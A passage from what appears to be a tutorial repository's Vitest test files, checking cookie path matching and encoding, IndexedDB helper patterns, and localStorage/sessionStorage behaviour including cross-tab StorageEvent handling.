cookiePath + '/' } if (!requestPath.endsWith('/')) { requestPath = requestPath + '/' } return requestPath.startsWith(cookiePath) } it('should match exact path', () => { expect(pathMatches("/app", "/app")).toBe(true) expect(pathMatches("/app", "/app/")).toBe(true) }) it('should match subpaths', () => { expect(pathMatches("/app", "/app/dashboard")).toBe(true) expect(pathMatches("/app", "/app/settings")).toBe(true) expect(pathMatches("/app", "/app/users/123")).toBe(true) }) it('should not match different paths', () => { expect(pathMatches("/app", "/about")).toBe(false) expect(pathMatches("/app", "/")).toBe(false) }) it('should not match partial path names', () => { // /application is NOT a subpath of /app expect(pathMatches("/app", "/application")).toBe(false) }) it('should match root path to all paths', () => { expect(pathMatches("/", "/")).toBe(true) expect(pathMatches("/", "/app")).toBe(true) expect(pathMatches("/", "/app/dashboard")).toBe(true) }) }) // ============================================================ // JSON STORAGE IN COOKIES // From cookies.mdx lines 189-191 // ============================================================ describe('JSON Storage in Cookies', () => { // From lines 189-191: Storing objects as JSON it('should stringify objects for cookie storage', () => { const preferences = { theme: "dark", fontSize: 14 } const encoded = encodeURIComponent(JSON.stringify(preferences)) expect(typeof encoded).toBe("string") expect(encoded).not.toContain("{") // Should be encoded }) it('should parse JSON from cookie value', () => { const encoded = "%7B%22theme%22%3A%22dark%22%2C%22fontSize%22%3A14%7D" const decoded = decodeURIComponent(encoded) const parsed = JSON.parse(decoded) expect(parsed).toEqual({ theme: "dark", fontSize: 14 }) }) it('should handle arrays in JSON', () => { const items = [1, 2, 3] const encoded = encodeURIComponent(JSON.stringify(items)) const decoded = JSON.parse(decodeURIComponent(encoded)) expect(decoded).toEqual([1, 2, 3]) }) it('should handle nested objects', () => { const data = { user: { name: "Alice", age: 30 }, settings: { darkMode: true } } const encoded = encodeURIComponent(JSON.stringify(data)) const decoded = JSON.parse(decodeURIComponent(encoded)) expect(decoded).toEqual(data) }) }) // ============================================================ // COOKIE SIZE LIMITS // From cookies.mdx lines 553-558 // ============================================================ describe('Cookie Size Considerations', () => { // From lines 553-558: 4KB limit it('should demonstrate 4KB is approximately 4096 bytes', () => { const fourKB = 4 * 1024 expect(fourKB).toBe(4096) }) it('should calculate string byte size', () => { // Note: This is simplified - actual byte count varies with encoding const str = "a".repeat(4096) expect(str.length).toBe(4096) }) it('should show encoding increases size', () => { const original = "Hello, World!" const encoded = encodeURIComponent(original) expect(encoded.length).toBeGreaterThan(original.length) }) }) // ============================================================ // COMMON MISTAKES TESTS // From cookies.mdx lines 502-560 // ============================================================ describe('Common Mistakes', () => { // From lines 505-511: Forgetting to encode values describe('Encoding mistakes', () => { it('should demonstrate that spaces need encoding', () => { const value = "search term with spaces" const encoded = encodeURIComponent(value) expect(encoded).not.toContain(" ") expect(encoded).toBe("search%20term%20with%20spaces") }) it('should demonstrate that semicolons need encoding', () => { const value = "key=value; other=test" const encoded = encodeURIComponent(value) expect(encoded).not.toContain(";") }) }) // From lines 513-523: Wrong path when deleting describe('Path matching for deletion', () => { it('should require matching path to delete', () => { // This tests the concept - actual deletion requires document.cookie const originalPath = "/app" const deletePath = "/" expect(originalPath).not.toBe(deletePath) // In practice, these would need to match for deletion to work }) }) }) // ============================================================ // TEST YOUR KNOWLEDGE - VERIFICATION TESTS // From cookies.mdx lines 601-680 // ============================================================ describe('Test Your Knowledge Verification', () => { // Question 1: Session vs persistent cookies describe('Session vs Persistent Cookies', () => { it('should understand session cookies have no expiration', () => { const sessionCookie = "tempId=abc" const persistentCookie = "remember=true; max-age=604800" expect(sessionCookie).not.toContain("max-age") expect(sessionCookie).not.toContain("expires") expect(persistentCookie).toContain("max-age") }) }) // Question 4: Deleting cookies describe('Cookie Deletion', () => { it('should understand max-age=0 deletes cookies', () => { const deleteCookieString = "username=; max-age=0; path=/" expect(deleteCookieString).toContain("max-age=0") }) it('should understand past date deletes cookies', () => { const deleteCookieString = "username=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/" expect(deleteCookieString).toContain("1970") }) }) }) // ============================================================ // EDGE CASES // ============================================================ describe('Edge Cases', () => { it('should handle cookie names with numbers', () => { const cookieString = "user123=value" function getCookie(cookieString, name) { const cookies = cookieString.split("; ") for (const cookie of cookies) { const [cookieName, cookieValue] = cookie.split("=") if (cookieName === name) { return decodeURIComponent(cookieValue) } } return null } expect(getCookie(cookieString, "user123")).toBe("value") }) it('should handle empty cookie values', () => { const cookieString = "empty=; other=value" function parseCookies(cookieString) { return cookieString .split("; ") .filter(Boolean) .reduce((cookies, cookie) => { const [name, ...valueParts] = cookie.split("=") const value = valueParts.join("=") cookies[name] = decodeURIComponent(value) return cookies }, {}) } const cookies = parseCookies(cookieString) expect(cookies.empty).toBe("") expect(cookies.other).toBe("value") }) it('should handle very long cookie values', () => { const longValue = "a".repeat(3000) const encoded = encodeURIComponent(longValue) expect(encoded.length).toBe(3000) // ASCII doesn't expand }) it('should handle special characters in cookie names', () => { // Cookie names should be alphanumeric + some special chars const validName = "my_cookie-name" const encoded = encodeURIComponent(validName) // Underscores and hyphens don't need encoding expect(encoded).toBe(validName) }) }) }) ================================================ FILE: tests/beyond/browser-storage/indexeddb/indexeddb.test.js ================================================ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' describe('IndexedDB', () => { // ============================================================ // UTILITY FUNCTIONS - PROMISIFY PATTERN // From indexeddb.mdx lines 359-389 // ============================================================ describe('Promise Wrapper Utilities', () => { // From lines 366-371: promisifyRequest helper function describe('promisifyRequest', () => { it('should resolve with the result on success', async () => { function promisifyRequest(request) { return new Promise((resolve, reject) => { request.onsuccess = () => resolve(request.result) request.onerror = () => reject(request.error) }) } // Mock an IDBRequest-like object const mockRequest = { result: 'test-data', onsuccess: null, onerror: null } const promise = promisifyRequest(mockRequest) // Trigger success mockRequest.onsuccess() const result = await promise expect(result).toBe('test-data') }) it('should reject with error on failure', async () => { function promisifyRequest(request) { return new Promise((resolve, reject) => { request.onsuccess = () => resolve(request.result) request.onerror = () => reject(request.error) }) } const mockError = new Error('Database error') const mockRequest = { result: null, error: mockError, onsuccess: null, onerror: null } const promise = promisifyRequest(mockRequest) // Trigger error mockRequest.onerror() await expect(promise).rejects.toThrow('Database error') }) }) // From lines 374-383: openDatabase helper function describe('openDatabase', () => { it('should resolve with db on success and call onUpgrade', async () => { function openDatabase(name, version, onUpgrade) { return new Promise((resolve, reject) => { // Simulate the IndexedDB open behavior const mockDb = { name, version, objectStoreNames: { contains: () => false } } const request = { result: mockDb, onupgradeneeded: null, onsuccess: null, onerror: null } // Simulate upgrade needed setTimeout(() => { if (request.onupgradeneeded) { request.onupgradeneeded({ target: { result: mockDb } }) } if (request.onsuccess) { request.onsuccess() } }, 0) request.onupgradeneeded = (event) => onUpgrade(event.target.result) request.onsuccess = () => resolve(request.result) request.onerror = () => reject(request.error) }) } let upgradeCalled = false const db = await openDatabase('TestDB', 1, (db) => { upgradeCalled = true expect(db.name).toBe('TestDB') }) expect(db.name).toBe('TestDB') expect(db.version).toBe(1) expect(upgradeCalled).toBe(true) }) }) }) // ============================================================ // KEY RANGE UTILITIES // From indexeddb.mdx lines 296-310 // ============================================================ describe('IDBKeyRange Patterns', () => { // Simulated IDBKeyRange for testing purposes const IDBKeyRange = { only: (value) => ({ type: 'only', value }), lowerBound: (value, open = false) => ({ type: 'lowerBound', value, open }), upperBound: (value, open = false) => ({ type: 'upperBound', value, open }), bound: (lower, upper, lowerOpen = false, upperOpen = false) => ({ type: 'bound', lower, upper, lowerOpen, upperOpen }) } it('should create only range for exact match', () => { const range = IDBKeyRange.only(5) expect(range.type).toBe('only') expect(range.value).toBe(5) }) it('should create lowerBound range (inclusive by default)', () => { const range = IDBKeyRange.lowerBound(5) expect(range.type).toBe('lowerBound') expect(range.value).toBe(5) expect(range.open).toBe(false) }) it('should create lowerBound range (exclusive)', () => { const range = IDBKeyRange.lowerBound(5, true) expect(range.type).toBe('lowerBound') expect(range.value).toBe(5) expect(range.open).toBe(true) }) it('should create upperBound range (inclusive by default)', () => { const range = IDBKeyRange.upperBound(10) expect(range.type).toBe('upperBound') expect(range.value).toBe(10) expect(range.open).toBe(false) }) it('should create bound range with both bounds', () => { const range = IDBKeyRange.bound(5, 10) expect(range.type).toBe('bound') expect(range.lower).toBe(5) expect(range.upper).toBe(10) expect(range.lowerOpen).toBe(false) expect(range.upperOpen).toBe(false) }) it('should create bound range with open bounds', () => { const range = IDBKeyRange.bound(5, 10, true, false) expect(range.type).toBe('bound') expect(range.lower).toBe(5) expect(range.upper).toBe(10) expect(range.lowerOpen).toBe(true) expect(range.upperOpen).toBe(false) }) }) // ============================================================ // DATABASE HELPER CLASS PATTERN // From indexeddb.mdx lines 440-478 // ============================================================ describe('UserDatabase Helper Class Pattern', () => { // From lines 440-478: UserDatabase class implementation it('should demonstrate the helper class pattern', () => { // Mock database object for testing the pattern const mockStore = new Map() class UserDatabase { constructor() { this.store = mockStore } async add(user) { if (this.store.has(user.id)) { throw new Error('User already exists') } this.store.set(user.id, user) return user.id } async get(id) { return this.store.get(id) } async getByEmail(email) { for (const user of this.store.values()) { if (user.email === email) return user } return undefined } async update(user) { this.store.set(user.id, user) return user.id } async delete(id) { this.store.delete(id) } async getAll() { return Array.from(this.store.values()) } } const users = new UserDatabase() // Verify the class has the expected methods expect(typeof users.add).toBe('function') expect(typeof users.get).toBe('function') expect(typeof users.getByEmail).toBe('function') expect(typeof users.update).toBe('function') expect(typeof users.delete).toBe('function') expect(typeof users.getAll).toBe('function') }) it('should perform CRUD operations correctly', async () => { const mockStore = new Map() class UserDatabase { constructor() { this.store = mockStore } async add(user) { if (this.store.has(user.id)) { throw new Error('User already exists') } this.store.set(user.id, user) return user.id } async get(id) { return this.store.get(id) } async getByEmail(email) { for (const user of this.store.values()) { if (user.email === email) return user } return undefined } async update(user) { this.store.set(user.id, user) return user.id } async delete(id) { this.store.delete(id) } async getAll() { return Array.from(this.store.values()) } } const users = new UserDatabase() // Add await users.add({ id: 1, name: 'Alice', email: 'alice@example.com' }) expect(await users.get(1)).toEqual({ id: 1, name: 'Alice', email: 'alice@example.com' }) // Get by email const alice = await users.getByEmail('alice@example.com') expect(alice.name).toBe('Alice') // Update await users.update({ id: 1, name: 'Alice Updated', email: 'alice@example.com' }) expect((await users.get(1)).name).toBe('Alice Updated') // Get all await users.add({ id: 2, name: 'Bob', email: 'bob@example.com' }) const allUsers = await users.getAll() expect(allUsers).toHaveLength(2) // Delete await users.delete(1) expect(await users.get(1)).toBeUndefined() }) }) // ============================================================ // SYNC QUEUE PATTERN // From indexeddb.mdx lines 410-433 // ============================================================ describe('Sync Queue Pattern', () => { // From lines 410-433: Offline sync queue pattern it('should queue actions for later sync', async () => { const syncQueue = [] async function queueAction(action) { syncQueue.push({ action, timestamp: Date.now(), status: 'pending' }) } await queueAction({ type: 'CREATE_POST', data: { title: 'Hello' } }) await queueAction({ type: 'UPDATE_USER', data: { name: 'Alice' } }) expect(syncQueue).toHaveLength(2) expect(syncQueue[0].action.type).toBe('CREATE_POST') expect(syncQueue[0].status).toBe('pending') expect(syncQueue[1].action.type).toBe('UPDATE_USER') }) it('should filter pending actions for sync', async () => { const syncQueue = [ { id: 1, action: { type: 'A' }, status: 'pending' }, { id: 2, action: { type: 'B' }, status: 'synced' }, { id: 3, action: { type: 'C' }, status: 'pending' } ] const pending = syncQueue.filter(item => item.status === 'pending') expect(pending).toHaveLength(2) expect(pending[0].action.type).toBe('A') expect(pending[1].action.type).toBe('C') }) }) // ============================================================ // TRANSACTION MODE CONCEPTS // From indexeddb.mdx lines 227-261 // ============================================================ describe('Transaction Mode Concepts', () => { it('should understand readonly vs readwrite modes', () => { const transactionModes = { readonly: { canRead: true, canWrite: false, canRunInParallel: true, description: 'Only reading data (faster, can run in parallel)' }, readwrite: { canRead: true, canWrite: true, canRunInParallel: false, description: 'Reading and writing (locks the store)' } } // Readonly mode expect(transactionModes.readonly.canRead).toBe(true) expect(transactionModes.readonly.canWrite).toBe(false) expect(transactionModes.readonly.canRunInParallel).toBe(true) // Readwrite mode expect(transactionModes.readwrite.canRead).toBe(true) expect(transactionModes.readwrite.canWrite).toBe(true) expect(transactionModes.readwrite.canRunInParallel).toBe(false) }) }) // ============================================================ // STORAGE COMPARISON DATA // From indexeddb.mdx lines 318-330 // ============================================================ describe('Storage Comparison Data', () => { it('should correctly represent storage feature differences', () => { const storageOptions = { localStorage: { storageLimit: '~5MB', dataTypes: 'Strings only', async: false, queryable: false, transactions: false, persists: 'Until cleared', workerAccess: false }, sessionStorage: { storageLimit: '~5MB', dataTypes: 'Strings only', async: false, queryable: false, transactions: false, persists: 'Until tab closes', workerAccess: false }, indexedDB: { storageLimit: 'Gigabytes', dataTypes: 'Any JS value', async: true, queryable: true, transactions: true, persists: 'Until cleared', workerAccess: true }, cookies: { storageLimit: '~4KB', dataTypes: 'Strings only', async: false, queryable: false, transactions: false, persists: 'Configurable', workerAccess: false } } // IndexedDB advantages expect(storageOptions.indexedDB.async).toBe(true) expect(storageOptions.indexedDB.queryable).toBe(true) expect(storageOptions.indexedDB.transactions).toBe(true) expect(storageOptions.indexedDB.workerAccess).toBe(true) // localStorage limitations expect(storageOptions.localStorage.async).toBe(false) expect(storageOptions.localStorage.dataTypes).toBe('Strings only') // Cookies limitation expect(storageOptions.cookies.storageLimit).toBe('~4KB') }) }) // ============================================================ // VERSION MIGRATION PATTERN // From indexeddb.mdx lines 130-150 // ============================================================ describe('Database Version Migration Pattern', () => { it('should handle version-based migrations correctly', () => { function runMigrations(db, oldVersion) { const migrations = [] if (oldVersion < 1) { migrations.push('create users store') } if (oldVersion < 2) { migrations.push('create posts store') } if (oldVersion < 3) { migrations.push('add email index to users') } return migrations } // Fresh install (version 0 -> 3) expect(runMigrations({}, 0)).toEqual([ 'create users store', 'create posts store', 'add email index to users' ]) // Upgrade from version 1 -> 3 expect(runMigrations({}, 1)).toEqual([ 'create posts store', 'add email index to users' ]) // Upgrade from version 2 -> 3 expect(runMigrations({}, 2)).toEqual([ 'add email index to users' ]) // Already at version 3 expect(runMigrations({}, 3)).toEqual([]) }) }) // ============================================================ // ADD VS PUT BEHAVIOR // From indexeddb.mdx lines 185-188 // ============================================================ describe('add() vs put() Behavior', () => { it('should demonstrate add() fails on duplicate keys', async () => { const store = new Map() function add(key, value) { if (store.has(key)) { throw new Error('Key already exists') } store.set(key, value) } add(1, { name: 'Alice' }) expect(store.get(1)).toEqual({ name: 'Alice' }) // Adding same key should throw expect(() => add(1, { name: 'Bob' })).toThrow('Key already exists') }) it('should demonstrate put() inserts or updates', () => { const store = new Map() function put(key, value) { store.set(key, value) // Always succeeds } put(1, { name: 'Alice' }) expect(store.get(1)).toEqual({ name: 'Alice' }) // Put with same key should update put(1, { name: 'Alice Updated' }) expect(store.get(1)).toEqual({ name: 'Alice Updated' }) }) }) // ============================================================ // OBJECT STORE CONFIGURATION // From indexeddb.mdx lines 154-178 // ============================================================ describe('Object Store Configuration Options', () => { it('should understand keyPath option', () => { const config = { keyPath: 'id' } // Records must have the keyPath property const validRecord = { id: 1, name: 'Alice' } const invalidRecord = { name: 'Bob' } // Missing 'id' expect(validRecord[config.keyPath]).toBe(1) expect(invalidRecord[config.keyPath]).toBeUndefined() }) it('should understand autoIncrement option', () => { const config = { autoIncrement: true } let counter = 0 function generateKey() { return ++counter } expect(generateKey()).toBe(1) expect(generateKey()).toBe(2) expect(generateKey()).toBe(3) }) it('should understand combined keyPath and autoIncrement', () => { const config = { keyPath: 'id', autoIncrement: true } let counter = 0 function addRecord(record) { if (!record[config.keyPath]) { record[config.keyPath] = ++counter } return record } const record1 = addRecord({ name: 'Alice' }) expect(record1.id).toBe(1) const record2 = addRecord({ name: 'Bob' }) expect(record2.id).toBe(2) // If id is already provided, use it const record3 = addRecord({ id: 100, name: 'Charlie' }) expect(record3.id).toBe(100) }) }) // ============================================================ // CURSOR ITERATION PATTERN // From indexeddb.mdx lines 272-292 // ============================================================ describe('Cursor Iteration Pattern', () => { it('should iterate through records one at a time', () => { const records = [ { id: 1, name: 'Alice' }, { id: 2, name: 'Bob' }, { id: 3, name: 'Charlie' } ] let index = 0 const results = [] // Simulating cursor behavior function openCursor() { return { get current() { if (index < records.length) { return { key: records[index].id, value: records[index] } } return null }, continue() { index++ } } } const cursor = openCursor() while (cursor.current) { results.push({ key: cursor.current.key, value: cursor.current.value }) cursor.continue() } expect(results).toHaveLength(3) expect(results[0].key).toBe(1) expect(results[0].value.name).toBe('Alice') expect(results[2].key).toBe(3) expect(results[2].value.name).toBe('Charlie') }) }) }) ================================================ FILE: tests/beyond/browser-storage/localstorage-sessionstorage/localstorage-sessionstorage.dom.test.js ================================================ /** * DOM-specific tests for localStorage & sessionStorage concept page * Focuses on StorageEvent and cross-tab communication concepts * * @see /docs/beyond/concepts/localstorage-sessionstorage.mdx * * @vitest-environment jsdom */ import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest' describe('StorageEvent and DOM Interactions', () => { beforeEach(() => { localStorage.clear() sessionStorage.clear() }) afterEach(() => { localStorage.clear() sessionStorage.clear() }) describe('StorageEvent Interface', () => { // Tests for MDX lines ~400-430 (StorageEvent properties) it('should create StorageEvent with correct properties', () => { const event = new StorageEvent('storage', { key: 'theme', oldValue: 'light', newValue: 'dark', url: 'http://example.com', storageArea: localStorage }) expect(event.key).toBe('theme') expect(event.oldValue).toBe('light') expect(event.newValue).toBe('dark') expect(event.url).toBe('http://example.com') expect(event.storageArea).toBe(localStorage) }) it('should have null key when clear() is called', () => { const event = new StorageEvent('storage', { key: null, oldValue: null, newValue: null, storageArea: localStorage }) expect(event.key).toBeNull() }) it('should have null oldValue for new keys', () => { const event = new StorageEvent('storage', { key: 'newKey', oldValue: null, newValue: 'value', storageArea: localStorage }) expect(event.oldValue).toBeNull() expect(event.newValue).toBe('value') }) it('should have null newValue when key is removed', () => { const event = new StorageEvent('storage', { key: 'removedKey', oldValue: 'previousValue', newValue: null, storageArea: localStorage }) expect(event.oldValue).toBe('previousValue') expect(event.newValue).toBeNull() }) }) describe('Storage Event Listener Pattern', () => { // Tests for MDX lines ~410-425 (event listener pattern) it('should be able to add storage event listener', () => { const handler = vi.fn() window.addEventListener('storage', handler) // Manually dispatch a storage event (simulating cross-tab change) const event = new StorageEvent('storage', { key: 'test', oldValue: null, newValue: 'value', url: 'http://localhost', storageArea: localStorage }) window.dispatchEvent(event) expect(handler).toHaveBeenCalledTimes(1) expect(handler.mock.calls[0][0].key).toBe('test') window.removeEventListener('storage', handler) }) it('should receive all StorageEvent properties in handler', () => { const receivedEvent = { key: null, oldValue: null, newValue: null, url: null } const handler = (event) => { receivedEvent.key = event.key receivedEvent.oldValue = event.oldValue receivedEvent.newValue = event.newValue receivedEvent.url = event.url } window.addEventListener('storage', handler) const event = new StorageEvent('storage', { key: 'theme', oldValue: 'light', newValue: 'dark', url: 'http://example.com/page', storageArea: localStorage }) window.dispatchEvent(event) expect(receivedEvent.key).toBe('theme') expect(receivedEvent.oldValue).toBe('light') expect(receivedEvent.newValue).toBe('dark') expect(receivedEvent.url).toBe('http://example.com/page') window.removeEventListener('storage', handler) }) it('should support addEventListener for storage events', () => { // Note: window.onstorage property may not work in jsdom // but addEventListener always works const handler = vi.fn() window.addEventListener('storage', handler) const event = new StorageEvent('storage', { key: 'data', newValue: 'updated' }) window.dispatchEvent(event) expect(handler).toHaveBeenCalledTimes(1) expect(handler.mock.calls[0][0].key).toBe('data') window.removeEventListener('storage', handler) }) }) describe('Auth Sync Pattern', () => { // Tests for MDX lines ~445-470 (auth sync pattern) it('should detect logout from another tab', () => { let redirectCalled = false let redirectUrl = '' // Mock the redirect const mockRedirect = (url) => { redirectCalled = true redirectUrl = url } const setupAuthSync = () => { window.addEventListener('storage', (event) => { if (event.key === 'authToken' && event.newValue === null) { mockRedirect('/login') } }) } setupAuthSync() // Simulate logout from another tab const logoutEvent = new StorageEvent('storage', { key: 'authToken', oldValue: 'some-token', newValue: null, // Token removed = logged out storageArea: localStorage }) window.dispatchEvent(logoutEvent) expect(redirectCalled).toBe(true) expect(redirectUrl).toBe('/login') }) it('should detect login from another tab', () => { let reloadCalled = false const handler = (event) => { if (event.key === 'authToken' && event.oldValue === null && event.newValue) { reloadCalled = true } } window.addEventListener('storage', handler) // Simulate login from another tab const loginEvent = new StorageEvent('storage', { key: 'authToken', oldValue: null, // No previous token newValue: 'new-token', // Now logged in storageArea: localStorage }) window.dispatchEvent(loginEvent) expect(reloadCalled).toBe(true) window.removeEventListener('storage', handler) }) it('should ignore non-auth storage changes', () => { let authActionTaken = false const handler = (event) => { if (event.key === 'authToken') { authActionTaken = true } } window.addEventListener('storage', handler) // Non-auth change const otherEvent = new StorageEvent('storage', { key: 'theme', oldValue: 'light', newValue: 'dark', storageArea: localStorage }) window.dispatchEvent(otherEvent) expect(authActionTaken).toBe(false) window.removeEventListener('storage', handler) }) }) describe('Storage Event Filtering', () => { it('should filter events by key', () => { const themeChanges = [] const handler = (event) => { if (event.key === 'theme') { themeChanges.push(event.newValue) } } window.addEventListener('storage', handler) // Theme change window.dispatchEvent(new StorageEvent('storage', { key: 'theme', newValue: 'dark' })) // Other change (should be ignored) window.dispatchEvent(new StorageEvent('storage', { key: 'language', newValue: 'en' })) // Another theme change window.dispatchEvent(new StorageEvent('storage', { key: 'theme', newValue: 'light' })) expect(themeChanges).toEqual(['dark', 'light']) window.removeEventListener('storage', handler) }) it('should detect clear() operation by null key', () => { let clearDetected = false const handler = (event) => { if (event.key === null) { clearDetected = true } } window.addEventListener('storage', handler) // Simulate clear() from another tab window.dispatchEvent(new StorageEvent('storage', { key: null, oldValue: null, newValue: null, storageArea: localStorage })) expect(clearDetected).toBe(true) window.removeEventListener('storage', handler) }) }) describe('Feature Detection Pattern', () => { // Tests for MDX lines ~520-545 (full feature detection) it('should correctly detect localStorage availability', () => { function storageAvailable(type) { try { const storage = window[type] const testKey = "__storage_test__" storage.setItem(testKey, testKey) storage.removeItem(testKey) return true } catch (error) { return ( error instanceof DOMException && error.name === "QuotaExceededError" && storage && storage.length !== 0 ) } } // In jsdom environment, localStorage should be available expect(storageAvailable("localStorage")).toBe(true) expect(storageAvailable("sessionStorage")).toBe(true) }) it('should handle non-existent storage types', () => { function storageAvailable(type) { try { const storage = window[type] if (!storage) return false const testKey = "__storage_test__" storage.setItem(testKey, testKey) storage.removeItem(testKey) return true } catch (error) { return false } } expect(storageAvailable("fakeStorage")).toBe(false) }) }) describe('Cross-Tab Data Synchronization Patterns', () => { it('should demonstrate cart sync pattern', () => { const carts = { tab1: [], tab2: [] } // Tab 1 handler const tab1Handler = (event) => { if (event.key === 'cart') { carts.tab1 = JSON.parse(event.newValue || '[]') } } // Tab 2 handler const tab2Handler = (event) => { if (event.key === 'cart') { carts.tab2 = JSON.parse(event.newValue || '[]') } } window.addEventListener('storage', tab1Handler) window.addEventListener('storage', tab2Handler) // Simulate cart update from another context const cartData = [ { id: 1, name: "Product A", qty: 2 }, { id: 2, name: "Product B", qty: 1 } ] window.dispatchEvent(new StorageEvent('storage', { key: 'cart', oldValue: '[]', newValue: JSON.stringify(cartData), storageArea: localStorage })) expect(carts.tab1).toEqual(cartData) expect(carts.tab2).toEqual(cartData) window.removeEventListener('storage', tab1Handler) window.removeEventListener('storage', tab2Handler) }) it('should handle settings sync across tabs', () => { const settings = {} const handler = (event) => { if (event.key && event.key.startsWith('setting_')) { const settingName = event.key.replace('setting_', '') settings[settingName] = event.newValue } } window.addEventListener('storage', handler) // Multiple settings changes window.dispatchEvent(new StorageEvent('storage', { key: 'setting_theme', newValue: 'dark' })) window.dispatchEvent(new StorageEvent('storage', { key: 'setting_fontSize', newValue: '16px' })) window.dispatchEvent(new StorageEvent('storage', { key: 'setting_language', newValue: 'en' })) expect(settings).toEqual({ theme: 'dark', fontSize: '16px', language: 'en' }) window.removeEventListener('storage', handler) }) }) describe('StorageEvent with sessionStorage', () => { it('should work with sessionStorage area', () => { let eventReceived = null const handler = (event) => { if (event.storageArea === sessionStorage) { eventReceived = event } } window.addEventListener('storage', handler) window.dispatchEvent(new StorageEvent('storage', { key: 'sessionKey', newValue: 'sessionValue', storageArea: sessionStorage })) expect(eventReceived).not.toBeNull() expect(eventReceived.key).toBe('sessionKey') expect(eventReceived.storageArea).toBe(sessionStorage) window.removeEventListener('storage', handler) }) it('should distinguish between localStorage and sessionStorage events', () => { const localEvents = [] const sessionEvents = [] const handler = (event) => { if (event.storageArea === localStorage) { localEvents.push(event.key) } else if (event.storageArea === sessionStorage) { sessionEvents.push(event.key) } } window.addEventListener('storage', handler) window.dispatchEvent(new StorageEvent('storage', { key: 'localKey', storageArea: localStorage })) window.dispatchEvent(new StorageEvent('storage', { key: 'sessionKey', storageArea: sessionStorage })) expect(localEvents).toEqual(['localKey']) expect(sessionEvents).toEqual(['sessionKey']) window.removeEventListener('storage', handler) }) }) describe('Error Handling in Storage Events', () => { it('should handle JSON parse errors in event handlers gracefully', () => { let errorOccurred = false let parsedData = null const handler = (event) => { try { parsedData = JSON.parse(event.newValue) } catch (e) { errorOccurred = true parsedData = null } } window.addEventListener('storage', handler) // Invalid JSON in storage window.dispatchEvent(new StorageEvent('storage', { key: 'data', newValue: 'not valid json {' })) expect(errorOccurred).toBe(true) expect(parsedData).toBeNull() window.removeEventListener('storage', handler) }) it('should handle null newValue (key removal)', () => { let removed = false const handler = (event) => { if (event.newValue === null) { removed = true } } window.addEventListener('storage', handler) window.dispatchEvent(new StorageEvent('storage', { key: 'deletedKey', oldValue: 'previousValue', newValue: null })) expect(removed).toBe(true) window.removeEventListener('storage', handler) }) }) }) ================================================ FILE: tests/beyond/browser-storage/localstorage-sessionstorage/localstorage-sessionstorage.test.js ================================================ /** * Tests for localStorage & sessionStorage concept page * @see /docs/beyond/concepts/localstorage-sessionstorage.mdx * * @vitest-environment jsdom */ import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest' describe('localStorage & sessionStorage', () => { // Clear storage before and after each test beforeEach(() => { localStorage.clear() sessionStorage.clear() }) afterEach(() => { localStorage.clear() sessionStorage.clear() }) describe('Basic localStorage Operations', () => { // Tests for MDX lines ~10-18 (opening code example) it('should store and retrieve string values with setItem/getItem', () => { localStorage.setItem("theme", "dark") const theme = localStorage.getItem("theme") expect(theme).toBe("dark") }) it('should return null for non-existent keys', () => { const missing = localStorage.getItem("nonexistent") expect(missing).toBeNull() }) it('should update existing values with setItem', () => { localStorage.setItem("username", "alice") localStorage.setItem("username", "bob") expect(localStorage.getItem("username")).toBe("bob") }) it('should remove items with removeItem', () => { localStorage.setItem("toRemove", "value") localStorage.removeItem("toRemove") expect(localStorage.getItem("toRemove")).toBeNull() }) it('should clear all items with clear()', () => { localStorage.setItem("a", "1") localStorage.setItem("b", "2") localStorage.setItem("c", "3") localStorage.clear() expect(localStorage.length).toBe(0) }) it('should return key at index with key()', () => { localStorage.setItem("a", "1") localStorage.setItem("b", "2") // Note: order is not guaranteed, but both keys should exist const keys = [localStorage.key(0), localStorage.key(1)] expect(keys).toContain("a") expect(keys).toContain("b") }) it('should return null for out of bounds key index', () => { localStorage.setItem("a", "1") expect(localStorage.key(99)).toBeNull() }) it('should track length property correctly', () => { expect(localStorage.length).toBe(0) localStorage.setItem("x", "1") expect(localStorage.length).toBe(1) localStorage.setItem("y", "2") expect(localStorage.length).toBe(2) localStorage.removeItem("x") expect(localStorage.length).toBe(1) }) }) describe('Basic sessionStorage Operations', () => { it('should store and retrieve values like localStorage', () => { sessionStorage.setItem("formDraft", "Hello...") expect(sessionStorage.getItem("formDraft")).toBe("Hello...") }) it('should maintain separate storage from localStorage', () => { localStorage.setItem("key", "local") sessionStorage.setItem("key", "session") expect(localStorage.getItem("key")).toBe("local") expect(sessionStorage.getItem("key")).toBe("session") }) it('should support all the same API methods', () => { sessionStorage.setItem("a", "1") sessionStorage.setItem("b", "2") expect(sessionStorage.length).toBe(2) expect(sessionStorage.key(0)).not.toBeNull() sessionStorage.removeItem("a") expect(sessionStorage.length).toBe(1) sessionStorage.clear() expect(sessionStorage.length).toBe(0) }) }) describe('Storing Complex Data with JSON', () => { // Tests for MDX lines ~280-340 (JSON section) describe('Automatic string conversion problems', () => { it('should convert numbers to strings', () => { localStorage.setItem("count", 42) expect(typeof localStorage.getItem("count")).toBe("string") expect(localStorage.getItem("count")).toBe("42") }) it('should convert booleans to strings', () => { localStorage.setItem("isActive", true) expect(localStorage.getItem("isActive")).toBe("true") expect(localStorage.getItem("isActive")).not.toBe(true) }) it('should lose object data without JSON.stringify', () => { localStorage.setItem("user", { name: "Alice" }) expect(localStorage.getItem("user")).toBe("[object Object]") }) it('should convert arrays to comma-separated strings', () => { localStorage.setItem("items", [1, 2, 3]) expect(localStorage.getItem("items")).toBe("1,2,3") }) }) describe('JSON.stringify and JSON.parse solution', () => { it('should properly store and retrieve objects', () => { const user = { name: "Alice", age: 30, roles: ["admin", "user"] } localStorage.setItem("user", JSON.stringify(user)) const storedUser = JSON.parse(localStorage.getItem("user")) expect(storedUser.name).toBe("Alice") expect(storedUser.age).toBe(30) expect(storedUser.roles).toEqual(["admin", "user"]) }) it('should properly store and retrieve arrays', () => { const favorites = ["item1", "item2", "item3"] localStorage.setItem("favorites", JSON.stringify(favorites)) const storedFavorites = JSON.parse(localStorage.getItem("favorites")) expect(storedFavorites).toEqual(favorites) expect(storedFavorites[0]).toBe("item1") }) it('should handle nested objects', () => { const data = { user: { profile: { name: "Bob", settings: { theme: "dark" } } } } localStorage.setItem("data", JSON.stringify(data)) const stored = JSON.parse(localStorage.getItem("data")) expect(stored.user.profile.name).toBe("Bob") expect(stored.user.profile.settings.theme).toBe("dark") }) }) describe('JSON Gotchas', () => { it('should convert Date objects to strings', () => { const now = new Date("2024-01-15T12:00:00Z") const data = { created: 